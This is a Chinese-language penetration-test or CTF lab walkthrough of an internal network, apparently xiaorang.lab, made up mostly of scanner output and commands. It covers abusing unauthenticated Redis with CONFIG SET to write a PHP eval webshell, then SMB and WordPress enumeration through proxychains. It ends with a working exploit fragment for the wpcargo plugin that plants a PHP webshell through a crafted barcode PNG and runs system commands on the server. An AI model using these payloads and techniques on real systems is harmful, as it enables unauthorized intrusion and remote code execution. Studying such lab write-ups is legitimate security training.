start infoscan 39.99.134.237:22 open 39.99.134.237:80 open 39.99.134.237:21 open 39.99.134.237:6379 open [*] alive ports len is: 4 start vulscan [*] WebTitle http://39.99.134.237 code:200 len:4833 title:Welcome to CentOS [+] ftp 39.99.134.237:21:anonymous [->]pub [+] Redis 39.99.134.237:6379 unauthorized file:/usr/local/redis/db/dump.rdb 已完成 4/4 [*] 扫描结束,耗时: 26.739311s
机器7
ftp 39.99.134.237 发现没东西 ‘redis-cli -h 39.99.134.237’ 成功连接 redis未授权拿shell的常见利用方法有写webshell，写corn或者写sshkey 写webshell： CONFIG SET dir /var/html/www报错 config set dir /usr/share/nginx/html CONFIG SET dbfilename shell.php set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n" save 显示权限不够 config set dir /tmp save 这样就可以，说明我们连接的用户是低权限，接下来尝试SSH跟crontabs不出意料都权限不够，但是还是写一下步骤 SSH：
[redis@centos-web01 mz]$ cat res.txt | head -20 [redis@centos-web01 mz]$ cat res.txt | head -40 [redis@centos-web01 mz]$ cat res.txt | head -60 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172.22.2.34 is alive (icmp) Target 172.22.2.3 is alive (icmp) Target 172.22.2.16 is alive (icmp) Target 172.22.2.7 is alive (icmp) Target 172.22.2.18 is alive [*] Icmp alive hosts len is: 5 172.22.2.7:6379 open 172.22.2.16:1433 open 172.22.2.34:445 open 172.22.2.34:139 open 172.22.2.18:445 open 172.22.2.16:445 open 172.22.2.3:445 open 172.22.2.3:139 open 172.22.2.34:135 open 172.22.2.18:139 open 172.22.2.16:139 open 172.22.2.16:135 open 172.22.2.3:135 open 172.22.2.7:80 open 172.22.2.16:80 open 172.22.2.18:22 open 172.22.2.18:80 open 172.22.2.7:22 open 172.22.2.7:21 open 172.22.2.3:88 open [*] alive ports len is: 20 start vulscan [*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS [*] NetInfo [*]172.22.2.34 [->]CLIENT01 [->]172.22.2.34 [*] NetInfo [*]172.22.2.16 [->]MSSQLSERVER [->]172.22.2.16 [*] NetInfo [*]172.22.2.3 [->]DC [->]172.22.2.3 [*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found [*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393) [*] NetBios 172.22.2.34 XIAORANG\CLIENT01 [*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393) [*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02 [+] ftp 172.22.2.7:21:anonymous [->]pub [*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点 已完成 20/20 [*] 扫描结束,耗时: 11.900005299s
Sharename Type Comment --------- ---- ------- ADMIN$ Disk 远程管理 C$ Disk 默认共享 fileshare Disk IPC$ IPC 远程 IPC Reconnecting with SMB1 for workgroup listing. [proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:139 ... OK [proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:139 ... OK do_connect: Connection to 172.22.2.16 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available └─$ proxychains smbclient //172.22.2.16/fileshare -N [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:445 ... OK Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jun 9 01:35:07 2022 .. D 0 Thu Jun 9 01:35:07 2022
13106687 blocks of size 4096. 6167920 blocks available
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK [+] URL: http://172.22.2.18/ [172.22.2.18] [+] Started: Tue Aug 5 11:45:15 2025
[+] XML-RPC seems to be enabled: http://172.22.2.18/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.22.2.18/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://172.22.2.18/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.22.2.18/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24). | Found By: Rss Generator (Passive Detection) | - http://172.22.2.18/index.php/feed/, <generator>https://wordpress.org/?v=6.0</generator> | - http://172.22.2.18/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK [+] WordPress theme in use: twentytwentytwo | Location: http://172.22.2.18/wp-content/themes/twentytwentytwo/ | Last Updated: 2025-04-15T00:00:00.000Z | Readme: http://172.22.2.18/wp-content/themes/twentytwentytwo/readme.txt | [!] The version is out of date, the latest version is 2.0 | Style URL: http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2 | Style Name: Twenty Twenty-Two | Style URI: https://wordpress.org/themes/twentytwentytwo/ | Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods) [proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[i] Plugin(s) Identified:
[+] wpcargo | Location: http://172.22.2.18/wp-content/plugins/wpcargo/ | Last Updated: 2025-07-23T01:11:00.000Z | [!] The version is out of date, the latest version is 8.0.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 6.x.x (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://172.22.2.18/wp-content/plugins/wpcargo/readme.txt
# This is a magic string that when treated as pixels and compressed using the png # algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels. requests.get( f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/xx.php" )
# We have uploaded a webshell - now let's use it to execute a command. print(requests.post( f"{destination_url}xx.php?1=system", data={"2": cmd} ).content.decode('ascii', 'ignore'))
